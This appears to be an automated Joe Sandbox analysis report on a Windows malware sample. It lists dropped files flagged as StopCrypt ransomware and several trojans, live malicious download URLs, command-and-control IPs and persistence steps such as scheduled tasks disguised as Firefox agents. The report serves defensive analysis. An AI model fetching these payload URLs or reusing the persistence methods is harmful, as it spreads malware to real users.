Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection812	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Hidden Files and Directories1	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
y8WngeDn4q.exe	36%	Virustotal		Browse
y8WngeDn4q.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\E11F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DAA6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B74C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\60DF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FBAD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\gbdfufc	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\csdfufc	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\esdfufc	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4EDC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FC0C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8908.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C651.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6E1E.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D083.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E4D7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3FD8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\37D8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	Metadefender		Browse
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1105.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1105.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\37D8.exe	39%	ReversingLabs	ByteCode-MSIL.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\3AE.exe	14%	ReversingLabs	ByteCode-MSIL.Backdoor.Androm
C:\Users\user\AppData\Local\Temp\3FD8.exe	22%	ReversingLabs	ByteCode-MSIL.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\4EDC.exe	80%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\60DF.exe	43%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B74C.exe	43%	ReversingLabs	Win32.Trojan.Fugrafa
C:\Users\user\AppData\Local\Temp\C651.exe	55%	ReversingLabs	Win32.Trojan.Fragtor
C:\Users\user\AppData\Local\Temp\D083.exe	32%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
15.0.8908.exe.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
14.0.esdfufc.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.8908.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
15.1.8908.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.2.8908.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.0.esdfufc.400000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
34.0.DataSvcUtil.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
22.3.4EDC.exe.3090000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.0.esdfufc.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
22.1.4EDC.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.y8WngeDn4q.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.y8WngeDn4q.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.y8WngeDn4q.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.y8WngeDn4q.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.8908.exe.2b615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.4EDC.exe.3080e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.8908.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
27.3.6E1E.exe.4770000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.0.esdfufc.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
41.1.C651.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.2.6E1E.exe.2dc0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.0.esdfufc.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.0.esdfufc.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
12.2.esdfufc.2cb15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.DataSvcUtil.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
34.2.DataSvcUtil.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
14.2.esdfufc.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.y8WngeDn4q.exe.47615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.1.y8WngeDn4q.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.8908.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.0.esdfufc.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.8908.exe.400000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
27.2.6E1E.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.2.SMSvcHost.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
15.0.8908.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.1.csdfufc.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.DataSvcUtil.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
34.0.DataSvcUtil.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
14.1.esdfufc.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.4EDC.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.2.csdfufc.400000.0.unpack	100%	Avira	HEUR/AGEN.1124573	Download File
15.0.8908.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
privacytoolzforyou-6000.top	5%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/DetailsDataSet1.xsd	0%	Avira URL Cloud	safe
http://sysaheu90.top/game.exe	16%	Virustotal		Browse
http://sysaheu90.top/game.exe	100%	Avira URL Cloud	malware
https://api.ip.sb/ip	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://nusurtal4f.net/	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://znpst.top/dl/buildz.exe	100%	Avira URL Cloud	malware
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://iyc.jelikob.ru/263873486.exe	0%	Avira URL Cloud	safe
https://193.56.146.214/	0%	Avira URL Cloud	safe
http://194.180.174.181//l/f/UJ1rynwB3dP17Spz23JR/c8a165d96af5f02e4cac679a1908533dbdcac0e8	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://sectigo.com/CPS0C	0%	URL Reputation	safe
http://194.180.174.181/	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
http://toptelete.top/agrybirdsgamerept	100%	Avira URL Cloud	malware
http://193.56.146.214/	0%	Avira URL Cloud	safe
http://hajezey1.top/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
privacytoolzforyou-6000.top	185.98.87.159	true	true	5%, Virustotal, Browse	unknown
iyc.jelikob.ru	81.177.141.36	true	false		high
toptelete.top	104.21.9.146	true	false		high
mas.to	88.99.75.82	true	false		high
cdn.discordapp.com	162.159.135.233	true	false		high
api.2ip.ua	77.123.139.190	true	false		high
znpst.top	5.163.179.4	true	false		high
nusurtal4f.net	45.141.84.21	true	false		high
hajezey1.top	185.98.87.159	true	false		high
sysaheu90.top	185.98.87.159	true	false		high
telegalive.top	unknown	unknown	false		high
xacokuo8.top	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sysaheu90.top/game.exe	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903333369742491648/1E88D378.jpg	false		high
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg	false		high
http://nusurtal4f.net/	false	Avira URL Cloud: safe	unknown
http://znpst.top/dl/buildz.exe	true	Avira URL Cloud: malware	unknown
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg	false		high
https://iyc.jelikob.ru/263873486.exe	false	Avira URL Cloud: safe	unknown
https://193.56.146.214/	true	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg	false		high
http://194.180.174.181//l/f/UJ1rynwB3dP17Spz23JR/c8a165d96af5f02e4cac679a1908533dbdcac0e8	true	Avira URL Cloud: safe	unknown
http://194.180.174.181/	true	Avira URL Cloud: safe	unknown
http://toptelete.top/agrybirdsgamerept	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg	false		high
http://193.56.146.214/	true	Avira URL Cloud: safe	unknown
http://hajezey1.top/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/DetailsDataSet1.xsd	60DF.exe, 00000018.00000000.509231538.0000000000442000.00000002.00020000.sdmp, 60DF.exe.6.dr	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000006.00000000.393764920.000000000095C000.00000004.00000020.sdmp	false		high
https://duckduckgo.com/chrome_newtab	1xVPfvJcrg.29.dr	false		high
https://api.ip.sb/ip	DataSvcUtil.exe, 00000022.00000000.568099425.0000000000402000.00000040.00000001.sdmp, SMSvcHost.exe, 0000002A.00000002.634272090.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	1xVPfvJcrg.29.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	1xVPfvJcrg.29.dr	false		high
http://ocsp.sectigo.com0	AdvancedRun.exe.19.dr	false	URL Reputation: safe	unknown
http://fontello.com	FC0C.exe.6.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	1xVPfvJcrg.29.dr	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	AdvancedRun.exe.19.dr	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	1xVPfvJcrg.29.dr	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	AdvancedRun.exe.19.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903579324031074365/ECF88C37.jpg	FC0C.exe.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	1xVPfvJcrg.29.dr	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	AdvancedRun.exe.19.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	AdvancedRun.exe.19.dr	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0C	AdvancedRun.exe.19.dr	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0D	AdvancedRun.exe.19.dr	false	URL Reputation: safe	unknown
http://www.nirsoft.net/	AdvancedRun.exe, AdvancedRun.exe, 0000001C.00000002.528560998.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000021.00000002.570535756.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000024.00000000.565833998.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.19.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	1xVPfvJcrg.29.dr	false		high
http://www.sqlite.org/copyright.html.	sqlite3.dll.29.dr	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	1xVPfvJcrg.29.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903196811345395712/6058E8D5.jpg	D083.exe.6.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.98.87.159	privacytoolzforyou-6000.top	Russian Federation	205840	VM-HOSTINGRU	true
81.177.141.36	iyc.jelikob.ru	Russian Federation	8342	RTCOMM-ASRU	false
45.141.84.21	nusurtal4f.net	Russian Federation	206728	MEDIALAND-ASRU	false
104.21.9.146	toptelete.top	United States	13335	CLOUDFLARENETUS	false
194.180.174.181	unknown	unknown	39798	MIVOCLOUDMD	true
216.128.137.31	unknown	United States	20473	AS-CHOOPAUS	true
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
93.115.20.139	unknown	Romania	202448	MVPShttpswwwmvpsnetEU	false
5.163.179.4	znpst.top	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
162.159.134.233	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	511828
Start date:	29.10.2021
Start time:	17:53:10
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	y8WngeDn4q.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@43/42@60/11
EGA Information:	Failed
HDC Information:	Successful, ratio: 39% (good quality ratio 26.3%) Quality average: 45.3% Quality standard deviation: 38.6%
HCA Information:	Successful, ratio: 51% Number of executed functions: 80 Number of non-executed functions: 327
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.82.209.104, 173.222.108.226, 173.222.108.210, 40.91.112.76, 20.54.110.249, 40.112.88.60, 80.67.82.211, 80.67.82.235, 23.211.4.86 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, a767.dspw65.akamai.net, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, iris-de-ppe-azsc-neu.northeurope.cloudapp.azure.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:54:57	Task Scheduler	Run new task: Firefox Default Browser Agent 2E4CD9DF3DCA4B48 path: C:\Users\user\AppData\Roaming\esdfufc
17:55:50	API Interceptor	71x Sleep call for process: powershell.exe modified
17:55:52	API Interceptor	7x Sleep call for process: E4D7.exe modified
17:56:06	Task Scheduler	Run new task: Firefox Default Browser Agent E51D90022164B9C7 path: C:\Users\user\AppData\Roaming\csdfufc
17:56:16	Task Scheduler	Run new task: Firefox Default Browser Agent F269093093CAD882 path: C:\Users\user\AppData\Roaming\gbdfufc
17:56:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\523df71c-62d9-464f-9100-f81f637eb4f6\B74C.exe" --AutoStart
17:56:40	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\523df71c-62d9-464f-9100-f81f637eb4f6\B74C.exe s>--Task
17:56:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\523df71c-62d9-464f-9100-f81f637eb4f6\B74C.exe" --AutoStart
17:57:17	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\1xVPfvJcrg Download File
Process:	C:\Users\user\AppData\Local\Temp\E4D7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\RYwTiizs2t Download File
Process:	C:\Users\user\AppData\Local\Temp\E4D7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\frAQBc8Wsa Download File
Process:	C:\Users\user\AppData\Local\Temp\E4D7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\mNPgVtudFi Download File
Process:	C:\Users\user\AppData\Local\Temp\E4D7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.4589067735369779
Encrypted:	false
SSDEEP:	48:TXYBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:UWU+bDoYysX0uhnydVjN9DLjGQLBE3u
MD5:	89CE01DCB0DC182AFF651E0094A2A7A2
SHA1:	DBFC15F5503780095741421FCC662D72460D804A
SHA-256:	1A0599ED2576D1224FDE5E4B512BF36AA0D322765C8F83ADDF9487D6D4E511E0
SHA-512:	86E16B4D227056BB75D51F4D01F69E8585626664401E14C1F052C8C9F6D6F4BF5C3FAB041FCDB33E9D8EBB82785D9B382E97FBBBCD0550BA49776C14934079EC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\rQF69AzBla Download File
Process:	C:\Users\user\AppData\Local\Temp\E4D7.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6951152985249047
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBopIvJn2QOYiUG3PaVrX:T5LLOpEO5J/Kn7U1uBopIvZXC/alX
MD5:	EA7F9615D77815B5FFF7C15179C6C560
SHA1:	3D1D0BAC6633344E2B6592464EBB957D0D8DD48F
SHA-256:	A5D1ABB57C516F4B3DF3D18950AD1319BA1A63F9A39785F8F0EACE0A482CAB17
SHA-512:	9C818471F69758BD4884FDB9B543211C9E1EE832AC29C2C5A0377C412454E8C745FB3F38FF6E3853AE365D04933C0EC55A46DDA60580D244B308F92C57258C98
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\E4D7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	916735
Entropy (8bit):	6.514932604208782
Encrypted:	false
SSDEEP:	24576:BJDwWdxW2SBNTjlY24eJoyGttl3+FZVpsq/2W:BJDvx0BY24eJoyctl3+FTX
MD5:	F964811B68F9F1487C2B41E1AEF576CE
SHA1:	B423959793F14B1416BC3B7051BED58A1034025F
SHA-256:	83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CD0C014844E5F7
SHA-512:	565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBA882E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248EC0F98C4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... .......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\37D8.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\37D8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3FD8.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\3FD8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	5.316698480382997
Encrypted:	false
